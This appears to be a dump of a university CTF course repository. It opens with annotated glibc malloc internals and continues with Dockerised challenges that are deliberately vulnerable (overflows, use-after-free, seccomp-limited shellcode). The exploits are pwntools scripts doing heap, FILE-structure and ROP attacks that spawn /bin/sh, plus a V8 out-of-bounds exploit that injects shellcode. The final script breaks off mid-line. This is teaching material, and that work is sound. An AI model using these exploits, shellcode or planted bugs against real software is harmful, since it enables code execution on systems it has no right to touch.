smallbin 的大小當中,也就是 0x20 ~ 0x3f0 if (in_smallbin_range (nb)) { idx = smallbin_index (nb); // 取得 smallbin 對應到的 index bin = bin_at (av, idx); // 取得 main_arena 中對應 index 的 smallbin 位址 // last(chk) 會得到 chk->bk // first(chk) 會得到 chk->fd // condition 為 chk->bk != chk,而在初始化時 smallbin 會將 fd 與 bk 設為自己, // 也就是這個 condition 檢查此 index 的 smallbin 是否為空 if ((victim = last (bin)) != bin) { bck = victim->bk; // chk->bk->fd 應該要指向自己,才會是正常的 double linked list if (__glibc_unlikely (bck->fd != victim)) malloc_printerr ("malloc(): smallbin double linked list corrupted"); // set 下一塊的 chunk 的 prev_inuse bit set_inuse_bit_at_offset (victim, nb); bin->bk = bck; // 更新 chk->bk 為該 idx 的 smallbin 的第一塊 chunk bck->fd = bin; // 更新 chk->bk->fd 原先指向 chk,更新成 smallbin if (av != &main_arena) set_non_main_arena (victim); check_malloced_chunk (av, victim, nb); #if USE_TCACHE // 此機制稱 smallbin stash,與 tcache stash 相同 // 如果 smallbin 還有剩 chunk,就會嘗試把這些 chunk 放到 tcache 當中 size_t tc_idx = csize2tidx (nb); if (tcache && tc_idx < mp_.tcache_bins) { mchunkptr tc_victim; while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last (bin)) != bin) { if (tc_victim != 0) { bck = tc_victim->bk; set_inuse_bit_at_offset (tc_victim, nb); if (av != &main_arena) set_non_main_arena (tc_victim); bin->bk = bck; bck->fd = bin; tcache_put (tc_victim, tc_idx); } } } #endif // 轉成回傳給使用者 mem ptr void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } } else { // 如果 chunk size 不在 tcache, fastbin, smallbin 的範圍 // trigger malloc_consolidate 的機制,減少 fragmentation 的問題 idx = largebin_index (nb); if (atomic_load_relaxed (&av->have_fastchunks)) malloc_consolidate (av); } #if USE_TCACHE INTERNAL_SIZE_T tcache_nb = 0; size_t tc_idx = csize2tidx (nb); // 取得對應大小的 tcache idx if (tcache && tc_idx < mp_.tcache_bins) tcache_nb = nb; int return_cached = 0; tcache_unsorted_count = 0; #endif for (;; ) { int iters = 0; // ! ---------------------- 第四、unsorted bin ---------------------- // 以 bk 來 traverse 所有 unsorted bin chunk // 清空 unsorted bin,把 chunk 放到對應的 bin 當中 while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) { bck = victim->bk; // bck 為 unsorted bin 下個 chunk size = chunksize (victim); // 當前 chunk 的大小 mchunkptr next = chunk_at_offset (victim, size); // 下個相鄰的 chunk // 一系列的檢查 if (__glibc_unlikely (size <= 2 * SIZE_SZ) || __glibc_unlikely (size > av->system_mem)) // chunk size 是否合法 malloc_printerr ("malloc(): invalid size (unsorted)"); if (__glibc_unlikely (chunksize_nomask (next) < 2 * SIZE_SZ) || __glibc_unlikely (chunksize_nomask (next) > av->system_mem)) // next chunk size 不合法 malloc_printerr ("malloc(): invalid next size (unsorted)"); if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size)) // next chunk 的 prev_size 不等於 chunk size malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)"); if (__glibc_unlikely (bck->fd != victim) || __glibc_unlikely (victim->fd != unsorted_chunks (av))) // 當 (bck->fd (victim->bk->fd) != victim || // victim->fd 沒有指向 main_arena 中存放 unsorted bin 的位址) 時不合法 malloc_printerr ("malloc(): unsorted double linked list corrupted"); if (__glibc_unlikely (prev_inuse (next))) // next chunk 的 prev_inuse 設起但是當前 chunk 存在於 unsorted bin (freed) malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)"); // 請求大小屬於 smallbin 的範圍,並且 unsorted bin 的第一個 chunk 就是 last_remainder if (in_smallbin_range (nb) && bck == unsorted_chunks (av) && victim == av->last_remainder && (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) // 這邊加上 MINSIZE 的關係為,在從 unsorted chunk 切後,剩下的 chunk size // 應該要能符合最小塊 chunk 的大小 (0x20) { // 切出符合大小的 chunk 後,更新 last_remainder remainder_size = size - nb; remainder = chunk_at_offset (victim, nb); // unsortedbin 的 fd 與 bk 更新成指向 remainder unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder; av->last_remainder = remainder; // remainder 的 fd 與 bk 更新成指向 unsortedbin remainder->bk = remainder->fd = unsorted_chunks (av); if (!in_smallbin_range (remainder_size)) { remainder->fd_nextsize = NULL; remainder->bk_nextsize = NULL; } set_head (victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); set_head (remainder, remainder_size | PREV_INUSE); set_foot (remainder, remainder_size); check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } // 從 unsorted bin 當中移除 victim unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av); // 第一塊 chunk 的 size 剛好符合 request size if (size == nb) { set_inuse_bit_at_offset (victim, size); // 設為 inuse // 如果 tcache 還沒滿,就優先填滿 tcache if (tcache_nb && tcache->counts[tc_idx] < mp_.tcache_count) { tcache_put (victim, tc_idx); return_cached = 1; continue; } else // tcache 滿了,就直接回傳 { check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } } // 如果為 smallbin 的大小,放入 smallbin if (in_smallbin_range (size)) { victim_index = smallbin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; } else { // 如果為 largebin 的大小,放入 largebin victim_index = largebin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; // 當 largebin 不只有一個 chunk,在 insert 到 largebin 時處理排序 if (fwd != bck) { ... } else victim->fd_nextsize = victim->bk_nextsize = victim; } // 統一處理 smallbin 與 largebin 更新 fd, bk pointer 的操作 mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim; // 若在同一輪處理太多 chunk,並且在過程中有放入 chunk 到 tcache 內 (return_cached == 1) // 則直接從 tcache 取得一個 chunk 回傳 ++tcache_unsorted_count; if (return_cached && mp_.tcache_unsorted_limit > 0 && tcache_unsorted_count > mp_.tcache_unsorted_limit) { return tcache_get (tc_idx); } #define MAX_ITERS 10000 if (++iters >= MAX_ITERS) // 做太多次就 break break; } // 過程中有將相同大小的 chunk 放入 tcache 的話,直接回傳一個 if (return_cached) { return tcache_get (tc_idx); } // ! ---------------------- 第五、large bin ---------------------- // 如果大小不屬於 smallbin 的範圍,屬於 smallbin 的已經在 "第三、smallbin" 處理完了 if (!in_smallbin_range (nb)) { bin = bin_at (av, idx); // 取得對應 idx 的 largebin 位址 // largebin 要不為空,並且最大塊的大小要大於 request size if ((victim = first (bin)) != bin && (unsigned long) chunksize_nomask (victim) >= (unsigned long) (nb)) { // 省略處理 large bin 的過程 // 會找 best fit 的 largebin chunk 回傳給使用者 ... check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } } // 當符合 request size 的 largebin 沒有 chunk 可以用, // 會開始往後面的 largebin 開始找 ++idx; bin = bin_at (av, idx); block = idx2block (idx); map = av->binmap[block]; bit = idx2bit (idx); // traverse all largebin for (;; ) { // 省略處理 large bin 的過程 ... check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } // ! 當所有 bin 都沒有可以使用的 chunk,則從 top chunk 開始切 use_top: victim = av->top; size = chunksize (victim); if (__glibc_unlikely (size > av->system_mem)) malloc_printerr ("malloc(): corrupted top size"); // 如果 top chunk 的大小滿足 request size + 0x20,就直接切並回傳 if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) { remainder_size = size - nb; remainder = chunk_at_offset (victim, nb); av->top = remainder; set_head (victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); set_head (remainder, remainder_size | PREV_INUSE); check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } // ! 請求過大 // 如果 top chunk 小到沒辦法切,會根據 request size, // 透過 sysmalloc 擴展更大的空間後回傳給使用者 else { void *p = sysmalloc (nb, av); if (p != NULL) alloc_perturb (p, bytes); return p; } } } ================================================ FILE: 2021/week3/hw-exp/FILE_note.py ================================================ #!/usr/bin/python3 from pwn import * context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] r = process('./test', env={"LD_PRELOAD": "/usr/src/glibc/glibc_dbg/libc.so"}, aslr=False) r.sendline('1') # p *(struct _IO_FILE_plus*) 0x5555555594b0 def write_file(data): r.sendline('2') r.sendlineafter('data> ', data) def save_file(): r.sendline('3') ##### overwrite fd to stdout ##### data = b'A'*0x200 data += p64(0) + p64(0x1e1) # heap header data += p64(0xfbad1800) + p64(0)*3 # read_* data += p64(0)*3 # write_* data += p64(0)*2 # buf_* data += p64(0)*5 # other data += b'\x01' write_file(data) save_file() ##### partial overwrite write_base ##### data = b'A'*0x200 data += p64(0) + p64(0x1e1) # heap header data += p64(0xfbad1800) + p64(0)*3 # read_* write_file(data) save_file() r.recv(0xc2) libc = u64(r.recv(8)) - 0x1bdf60 bss = libc + 0x1c4f00 _system = libc + 0x48af0 _IO_str_jumps = libc + 0x1bdd20 info(f"libc: {hex(libc)}") ##### overwrite write_ptr to _IO_str_jump_table ##### data = p64(_system)*(0x200 // 8) data += p64(0) + p64(0x1e1) # heap header data += p64(0xfbad1800) + p64(0)*3 # read_* data += p64(0) + p64(_IO_str_jumps)[:-1] write_file(data) save_file() ##### overwrite file vtable to _IO_str_jumps ##### data = b'A'*0x200 data += p64(0) + p64(0x1e1) # head header data += p64(0x68732f6e69622f) data += b'A'*0x80 data += p64(bss) data += b'\xff'*0x48 data += p64(_IO_str_jumps) write_file(data) gdb.attach(r, 'set exec-wrapper env "LD_PRELOAD=/usr/src/glibc/glibc_dbg/libc.so"') save_file() r.interactive() # b _IO_new_file_xsputn # b _IO_new_file_overflow ================================================ FILE: 2021/week3/lab-exp/OvO8.js ================================================ buf = new ArrayBuffer(0x8); u64 = new BigUint64Array(buf); f64 = new Float64Array(buf); u32 = new Uint32Array(buf); function info(str, val) { console.log(`[*] ${str}: 0x${val.toString(16)}`); } let oob = [1.1]; oob.length = 87; let evil = [{}]; let leak = new BigUint64Array(1); f64[0] = oob[110]; let high_heap = BigInt(u32[0]); let low_heap = BigInt(u32[1]); info("heap", low_heap + (high_heap << 32n)); function fakeobj(addr) { u64[0] = addr; oob[88] = f64[0]; return evil[0]; } function addrof(obj) { evil[0] = obj; f64[0] = oob[88]; return BigInt(u32[0]); } function aar64(addr) { backup = oob[110]; addr = (addr - 8n) | 1n; u64[0] = (addr << 32n) | (addr >> 32n); oob[110] = f64[0]; ret = leak[0]; f64[0] = backup; oob[110] = f64[0]; return ret; } function aaw64(addr, val) { backup = oob[110]; addr = (addr - 8n) | 1n; u64[0] = (addr << 32n) | (addr >> 32n); oob[110] = f64[0]; u64[0] = val; leak[0] = u64[0]; f64[0] = backup; oob[110] = f64[0]; } // https://wasdk.github.io/WasmFiddle/ // int main() { // return 0x12345678; // } var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,128,0,1,136,128,128,128,0,0,65,248,172,209,145,1,11]); var wasmModule = new WebAssembly.Module(wasmCode); var wasmInstance = new WebAssembly.Instance(wasmModule); var exp = wasmInstance.exports.main; var wasmInstance_addr = (high_heap << 32n) + addrof(wasmInstance); info("wasmInstance_addr", wasmInstance_addr); var rwx_page = aar64(((high_heap << 32n) + addrof(wasmInstance)) - 1n + 0x60n); info("rwx_page", rwx_page); // from pwn import * // context.arch = 'amd64' // sh = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05\x90\x90\x90\x90\x90' // shs = [0x9090909090909090]*4 + [u64(sh[i:i+8]) for i in range(0, len(sh), 8)] // print('[' + 'n, '.join(list(map(str, shs))) + 'n]') var shellcode = new BigUint64Array([10416984888683040912n, 10416984888683040912n, 10416984888683040912n, 10416984888683040912n, 10490745906121982001n, 6042695217945480400n, 12708687932510789460n, 10416984888673898299n]); for (var i = 0; i < shellcode.length; i++) { aaw64(rwx_page + BigInt(i)*8n + 0x4c0n, BigInt(shellcode[i])); } exp(); ================================================ FILE: 2022/README.md ================================================ ## 2022 年 2022 年的 Week 1 與 Week 2 教材皆相同,而 Week 3 課程大部分與 2021 年重疊。 ## Week 1: Binary Exploitation I - Hw - how2know 1. 透過 side channel 的方式 leak 出存在於記憶體的 flag 2. 可以依據 byte 的比對結果來決定行為,藉此一步步 leak 出 flag - rop++ - 裸 ROP 題 ## Week 2: Binary Exploitation II - Lab - babynote - Hw - babyums - 與 lab 難度相同 ## Week 3: FILE Exploitation & Browser Exploitation - Lab - aar - aaw - Hw - minumus - 結合 Week 2 的知識,構造 FILE 結構做到任意讀寫,最後用 hook 攔截執行流程 ================================================ FILE: 2022/quals/exp/how2know_revenge_exp.py ================================================ #!/usr/bin/python3 from pwn import * import string import time context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] wordlist = string.printable.encode() flag_addr = 0x4de2e0 rop_pop_rdx_ret = 0x40171f rop_pop_rdi_ret = 0x401812 rop_pop_rax_ret = 0x458237 rop_cmp = 0x43a02d # cmp byte ptr [rdi], dl ; ret rop_check = 0x401012 # je 0x401016 ; call rax # 0x404016 = add rsp, 8 ; ret rop_jmp_rax = 0x401b58 flag = b'' for idx in range(0x20): for w in wordlist: #r = process("./chal") r = remote('edu-ctf.zoolab.org', 10012) payload = flat( rop_pop_rax_ret, rop_jmp_rax, rop_pop_rdi_ret, flag_addr + idx, rop_pop_rdx_ret, w, rop_cmp, rop_check, 0, 0xdeadbeef ) r.sendafter('rop\n', b'A'*0x28 + payload) try: r.recv(1, timeout=0.1) r.close() except EOFError: flag += bytes([w]) del r break print(f"current flag: {flag.decode()}") r.interactive() ================================================ FILE: 2022/quals/exp/pbof_exp.py ================================================ #!/usr/bin/python3 from pwn import * context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] mmap_size = 0x1a5000 r = remote('edu-ctf.zoolab.org', 10013) # r = remote('localhost', 10013) r.recvuntil('[Gift ') libc = int(r.recvuntil(']', drop=True), 16) - 0x83970 system = libc + 0x52290 libz = libc - 0x1c9000 archive_size = 0x0 # remote object_offset = 0x29510 # local # object_offset = 0x294f0 # ??? mmap_base = libz - 0x3000 - archive_size - 0x32000 - 0x7000 - mmap_size object_addr = mmap_base + object_offset print(f"libc: {hex(libc)}") print(f"object_addr: {hex(object_addr)}") payload = 0x40 * b'\x00' + b'/bin/sh\x00' payload = payload + p64(object_addr) payload = payload.ljust(0x188, b'\x40') payload = payload + p64(system) input() r.sendline(payload) r.interactive() ================================================ FILE: 2022/quals/exp/real_rop++_exp.py ================================================ #!/usr/bin/python3 from pwn import * context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] #r = process('./test', aslr=False) r = remote('edu-ctf.zoolab.org', 10014) payload = b'A'*0x18 + b'\x7c' r.send(payload) r.recvuntil(b'A'*0x18) libc = u64(r.recv(8)) - 0x2407c oneshot = libc + 0xe3afe rop_pop_r12_r13_r14_ret = libc + 0x2601a info(f"libc: {hex(libc)}") payload = b'A'*0x18 + p64(rop_pop_r12_r13_r14_ret) + p64(0) r.send(payload) r.recvuntil(b'A'*0x18) payload = b'A'*0x18 + p64(oneshot) r.send(payload) r.recvuntil(b'A'*0x18) r.interactive() ================================================ FILE: 2022/quals/exp/superums_exp.py ================================================ #!/usr/bin/python3 from pwn import * context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] #r = process('./chal', aslr=False) r = remote('edu-ctf.zoolab.org', 10015) def add(idx): r.sendlineafter('> ', '1') r.sendlineafter('> ', str(idx)) def edit(idx, sz, data): r.sendlineafter('> ', '2') r.sendlineafter('> ', str(idx)) r.sendlineafter('> ', str(sz)) r.send(data) def delete(idx): r.sendlineafter('> ', '3') r.sendlineafter('> ', str(idx)) def show(): r.sendlineafter('> ', '4') for i in range(10): add(i) for i in range(10): edit(i, 0x78, 'A') for i in reversed(range(10)): delete(i) add(0) edit(0, 0x78, 'A') show() r.recvuntil('[0] ') heap = u64(r.recv(6).ljust(8, b'\x00')) - 0x541 info(f"heap: {hex(heap)}") for i in range(1, 7): add(i) for i in range(1, 7): edit(i, 0x78, 'A') add(7) add(8) edit(8, 0x78, 'A') delete(8) fake_chunk_off = 0x870 # at chunk 6 edit(7, 0x8, p64(heap + fake_chunk_off)) add(8) add(9) edit(8, 0x78, 'A') # data pointer same as chunk 7 edit(9, 0x78, 'A') # overlap with chunk 6 data fake_chunk = flat( 0, 0x421 ) edit(6, len(fake_chunk), fake_chunk) # we only need chunk 6, 7 and 9 # and need to spray fake next chunk l = [0,1,2,8,3,4,5] for i in l: delete(i) for i in l: add(i) for i in l: edit(i, 0x68, 'B') for i in l: delete(i) for i in l: add(i) add(0xe) add(0xf) edit(0xf, 0x38, 'OWO') # for padding for i in l: edit(i, 0x58, b'\x00' * 0x18 + p64(0x21) + b'\x00'*0x18 + p64(0x21)) delete(9) edit(0xe, 0x48, 'A') show() r.recvuntil('[14] ') libc = u64(r.recv(6).ljust(8, b'\x00')) - 0x1ecf41 system = libc + 0x52290 __free_hook = libc + 0x1eee48 info(f"libc: {hex(libc)}") add(0xd) edit(0xd, 0x48, 'A') delete(0xd) delete(0xe) fake_chunk = flat( 0, 0x51, __free_hook - 0x8 ) edit(6, len(fake_chunk), fake_chunk) add(0xd) add(0xe) edit(0xd, 0x48, 'A') edit(0xe, 0x48, b'/bin/sh\x00' + p64(system)) delete(0xe) r.interactive() ================================================ FILE: 2022/quals/how2know_revenge/Dockerfile ================================================ FROM ubuntu:20.04 MAINTAINER u1f383 RUN apt-get update && \ DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd RUN useradd -m chal RUN chown -R root:root /home/chal RUN chmod -R 755 /home/chal CMD ["/usr/sbin/xinetd", "-dontfork"] ================================================ FILE: 2022/quals/how2know_revenge/docker-compose.yml ================================================ version: '3' services: chal: build: ./ volumes: - ./share:/home/chal:ro - ./xinetd:/etc/xinetd.d/chal:ro ports: - "10012:10001" ================================================ FILE: 2022/quals/how2know_revenge/share/Makefile ================================================ all: gcc -static -fno-stack-protector -o chal how2know_revenge.c -lseccomp ================================================ FILE: 2022/quals/how2know_revenge/share/flag ================================================ FLAG{test} ================================================ FILE: 2022/quals/how2know_revenge/share/how2know_revenge.c ================================================ #include #include #include #include #include #include static char flag[0x30]; int main() { char addr[0x10]; int fd; scmp_filter_ctx ctx; fd = open("/home/chal/flag", O_RDONLY); if (fd == -1) perror("open"), exit(1); read(fd, flag, 0x30); close(fd); write(1, "talk is cheap, show me the rop\n", 31); read(0, addr, 0x1000); ctx = seccomp_init(SCMP_ACT_KILL); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); seccomp_load(ctx); seccomp_release(ctx); return 0; } ================================================ FILE: 2022/quals/how2know_revenge/share/run.sh ================================================ #!/bin/sh exec 2>/dev/null timeout 60 /home/chal/chal ================================================ FILE: 2022/quals/how2know_revenge/xinetd ================================================ service chal { disable = no type = UNLISTED socket_type = stream protocol = tcp server = /home/chal/run.sh user = chal port = 10001 flags = REUSE bind = 0.0.0.0 wait = no } ================================================ FILE: 2022/quals/pbof/Dockerfile ================================================ FROM ubuntu:20.04 MAINTAINER u1f383 RUN apt-get update && \ echo 'debconf debconf/frontend select Noninteractive' | debconf-set-selections && \ apt-get install -qy xinetd python3 gdb RUN useradd -m chal RUN chown -R root:root /home/chal RUN chmod -R 755 /home/chal CMD ["/usr/sbin/xinetd", "-dontfork"] ================================================ FILE: 2022/quals/pbof/docker-compose.yml ================================================ version: '3' services: chal: build: ./ volumes: - ./share:/home/chal:ro - ./xinetd:/etc/xinetd.d/chal:ro ports: - "10013:10001" privileged: true ================================================ FILE: 2022/quals/pbof/share/chal ================================================ #!/usr/bin/env python3 from ctypes import * libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6") # setup stdin = c_void_p.in_dll(libc, 'stdin') stdout = c_void_p.in_dll(libc, 'stdout') stderr = c_void_p.in_dll(libc, 'stderr') setvbuf = libc.setvbuf setvbuf(stdin, None, 2, 0) setvbuf(stdout, None, 2, 0) setvbuf(stderr, None, 2, 0) gets = libc.gets printf = libc.printf name = create_string_buffer(0x20) printf(b"[Gift %p]\n", gets) printf(b"What's your name ?") gets(name) printf(b"Hello %s", name) ================================================ FILE: 2022/quals/pbof/share/exp.py ================================================ #!/usr/bin/python3 from pwn import * context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] r = remote('localhost', 10013) input() #r.sendlineafter("What's your name ?", b';'*0x28 + p64(0x8f7298)) r.sendlineafter(b"What's your name ?",b'A'*0x20 + b'/bin/sh;' + p64(0x8f72a8)) #r.sendlineafter(b"What's your name ?",b'A'*0x20 + b'.bin/sh;' + b'\xff') r.interactive() ================================================ FILE: 2022/quals/pbof/share/flag ================================================ FLAG{test} ================================================ FILE: 2022/quals/pbof/share/run.sh ================================================ #!/bin/sh exec 2>/dev/null /home/chal/chal ================================================ FILE: 2022/quals/pbof/xinetd ================================================ service chal { disable = no type = UNLISTED socket_type = stream protocol = tcp server = /home/chal/run.sh user = chal port = 10001 flags = REUSE bind = 0.0.0.0 wait = no } ================================================ FILE: 2022/quals/real_rop/Dockerfile ================================================ FROM ubuntu:20.04 MAINTAINER u1f383 RUN apt-get update && \ DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd RUN useradd -m chal RUN chown -R root:root /home/chal RUN chmod -R 755 /home/chal CMD ["/usr/sbin/xinetd", "-dontfork"] ================================================ FILE: 2022/quals/real_rop/docker-compose.yml ================================================ version: '3' services: chal: build: ./ volumes: - ./share:/home/chal:ro - ./xinetd:/etc/xinetd.d/chal:ro ports: - "10014:10001" ================================================ FILE: 2022/quals/real_rop/share/Makefile ================================================ all: gcc -fno-stack-protector -o chal real_rop++.c ================================================ FILE: 2022/quals/real_rop/share/flag ================================================ FLAG{test} ================================================ FILE: 2022/quals/real_rop/share/real_rop++.c ================================================ #include int main() { char buf[0x10]; read(0, buf, 0x30); write(1, buf, 0x30); return 0; } ================================================ FILE: 2022/quals/real_rop/share/run.sh ================================================ #!/bin/sh exec 2>/dev/null timeout 60 /home/chal/chal ================================================ FILE: 2022/quals/real_rop/xinetd ================================================ service chal { disable = no type = UNLISTED socket_type = stream protocol = tcp server = /home/chal/run.sh user = chal port = 10001 flags = REUSE bind = 0.0.0.0 wait = no } ================================================ FILE: 2022/quals/superums/Dockerfile ================================================ FROM ubuntu:20.04 MAINTAINER u1f383 RUN apt-get update && \ DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd RUN useradd -m chal RUN chown -R root:root /home/chal RUN chmod -R 755 /home/chal CMD ["/usr/sbin/xinetd", "-dontfork"] ================================================ FILE: 2022/quals/superums/docker-compose.yml ================================================ version: '3' services: chal: build: ./ volumes: - ./share:/home/chal:ro - ./xinetd:/etc/xinetd.d/chal:ro ports: - "10015:10001" ================================================ FILE: 2022/quals/superums/share/Makefile ================================================ all: gcc -o chal superums.c ================================================ FILE: 2022/quals/superums/share/flag ================================================ FLAG{test} ================================================ FILE: 2022/quals/superums/share/run.sh ================================================ #!/bin/sh exec 2>/dev/null timeout 60 /home/chal/chal ================================================ FILE: 2022/quals/superums/share/superums.c ================================================ #include #include #include struct Note { unsigned short size; char *data; }; struct Note *notes[0x10]; static unsigned short get_idx() { unsigned short idx; printf("index\n> "); scanf("%hu", &idx); if (idx >= 0x10) printf("no, no ...\n"), exit(1); return idx; } static unsigned short get_size() { unsigned short size; printf("size\n> "); scanf("%hu", &size); if (size > 0x78) printf("no, no ...\n"), exit(1); return size; } void add_note() { unsigned short idx; idx = get_idx(); if (notes[idx]) printf("no, no ...\n"), exit(1); notes[idx] = malloc(sizeof(*notes[idx])); printf("success!\n"); } void edit_data() { unsigned short idx; unsigned short size; idx = get_idx(); if (!notes[idx]) printf("no, no ...\n"), exit(1); size = get_size(); if (!notes[idx]->data) { notes[idx]->data = malloc(size); notes[idx]->size = size; } if (size > notes[idx]->size) printf("no, no ...\n"), exit(1); read(0, notes[idx]->data, size); printf("success!\n"); } void del_note() { short int idx; idx = get_idx(); free(notes[idx]->data); free(notes[idx]); notes[idx] = NULL; printf("success!\n"); } void show_notes() { for (int i = 0; i < 0x10; i++) { if (notes[i] == NULL || notes[i]->data == NULL) continue; printf("[%d] %s\n", i, notes[i]->data); } } int main() { char opt[2]; setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); while (1) { printf("1. add_note\n" "2. edit_data\n" "3. del_note\n" "4. show_notes\n" "5. bye\n" "> "); read(0, opt, 2); switch (opt[0]) { case '1': add_note(); break; case '2': edit_data(); break; case '3': del_note(); break; case '4': show_notes(); break; case '5': exit(0); } } return 0; } ================================================ FILE: 2022/quals/superums/xinetd ================================================ service chal { disable = no type = UNLISTED socket_type = stream protocol = tcp server = /home/chal/run.sh user = chal port = 10001 flags = REUSE bind = 0.0.0.0 wait = no } ================================================ FILE: 2022/week1/hw/how2know/Dockerfile ================================================ FROM ubuntu:22.04 MAINTAINER u1f383 RUN apt-get update && \ DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd RUN useradd -m chal RUN chown -R root:root /home/chal RUN chmod -R 755 /home/chal CMD ["/usr/sbin/xinetd", "-dontfork"] ================================================ FILE: 2022/week1/hw/how2know/docker-compose.yml ================================================ version: '3' services: chal: build: ./ volumes: - ./share:/home/chal:ro - ./xinetd:/etc/xinetd.d/chal:ro ports: - "10002:10001" ================================================ FILE: 2022/week1/hw/how2know/share/Makefile ================================================ all: gcc -o chal how2know.c -lseccomp ================================================ FILE: 2022/week1/hw/how2know/share/flag ================================================ FLAG{test} ================================================ FILE: 2022/week1/hw/how2know/share/how2know.c ================================================ #include #include #include #include #include #include static char flag[0x30]; int main() { void *addr; int fd; scmp_filter_ctx ctx; addr = mmap(NULL, 0x1000, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if ((unsigned long)addr == -1) perror("mmap"), exit(1); fd = open("/home/chal/flag", O_RDONLY); if (fd == -1) perror("open"), exit(1); read(fd, flag, 0x30); close(fd); write(1, "talk is cheap, show me the code\n", 33); read(0, addr, 0x1000); ctx = seccomp_init(SCMP_ACT_KILL); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); seccomp_load(ctx); seccomp_release(ctx); ((void(*)())addr)(); return 0; } ================================================ FILE: 2022/week1/hw/how2know/share/run.sh ================================================ #!/bin/sh exec 2>/dev/null timeout 60 /home/chal/chal ================================================ FILE: 2022/week1/hw/how2know/xinetd ================================================ service chal { disable = no type = UNLISTED socket_type = stream protocol = tcp server = /home/chal/run.sh user = chal port = 10001 flags = REUSE bind = 0.0.0.0 wait = no } ================================================ FILE: 2022/week1/hw/rop++/Dockerfile ================================================ FROM ubuntu:22.04 MAINTAINER u1f383 RUN apt-get update && \ DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd RUN useradd -m chal RUN chown -R root:root /home/chal RUN chmod -R 755 /home/chal CMD ["/usr/sbin/xinetd", "-dontfork"] ================================================ FILE: 2022/week1/hw/rop++/docker-compose.yml ================================================ version: '3' services: chal: build: ./ volumes: - ./share:/home/chal:ro - ./xinetd:/etc/xinetd.d/chal:ro ports: - "10003:10001" ================================================ FILE: 2022/week1/hw/rop++/share/Makefile ================================================ all: gcc -fno-stack-protector -static -o chal rop++.c ================================================ FILE: 2022/week1/hw/rop++/share/flag ================================================ FLAG{test} ================================================ FILE: 2022/week1/hw/rop++/share/rop++.c ================================================ #include #include #include int main() { char buf[0x10]; const char *msg = "show me rop\n> "; write(1, msg, strlen(msg)); read(0, buf, 0x200); return 0; } ================================================ FILE: 2022/week1/hw/rop++/share/run.sh ================================================ #!/bin/sh exec 2>/dev/null timeout 60 /home/chal/chal ================================================ FILE: 2022/week1/hw/rop++/xinetd ================================================ service chal { disable = no type = UNLISTED socket_type = stream protocol = tcp server = /home/chal/run.sh user = chal port = 10001 flags = REUSE bind = 0.0.0.0 wait = no } ================================================ FILE: 2022/week2/exp/exp.py ================================================ #!/usr/bin/python3 from pwn import * context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] r = process('./test', aslr=False) r =remote('edu-ctf.zoolab.org', 10007) def add(idx, name): r.sendlineafter('> ', '1') r.sendlineafter('> ', str(idx)) r.sendafter('> ', name) def edit(idx, sz, data): r.sendlineafter('> ', '2') r.sendlineafter('> ', str(idx)) r.sendlineafter('> ', str(sz)) r.send(data) def delete(idx): r.sendlineafter('> ', '3') r.sendlineafter('> ', str(idx)) def show(): r.sendlineafter('> ', '4') ##################################### add(0, 'A'*8) edit(0, 0x418, 'A') add(1, 'B'*8) edit(1, 0x18, 'B') add(2, 'C'*8) delete(0) show() r.recvuntil('data: ') libc = u64(r.recv(6).ljust(8, b'\x00')) - 0x1ecbe0 free_hook = libc + 0x1eee48 system = libc + 0x52290 info(f"libc: {hex(libc)}") ##################################### fake_chunk = flat( 0, 0x21, b'CCCCCCCC', b'CCCCCCCC', free_hook, ) data = 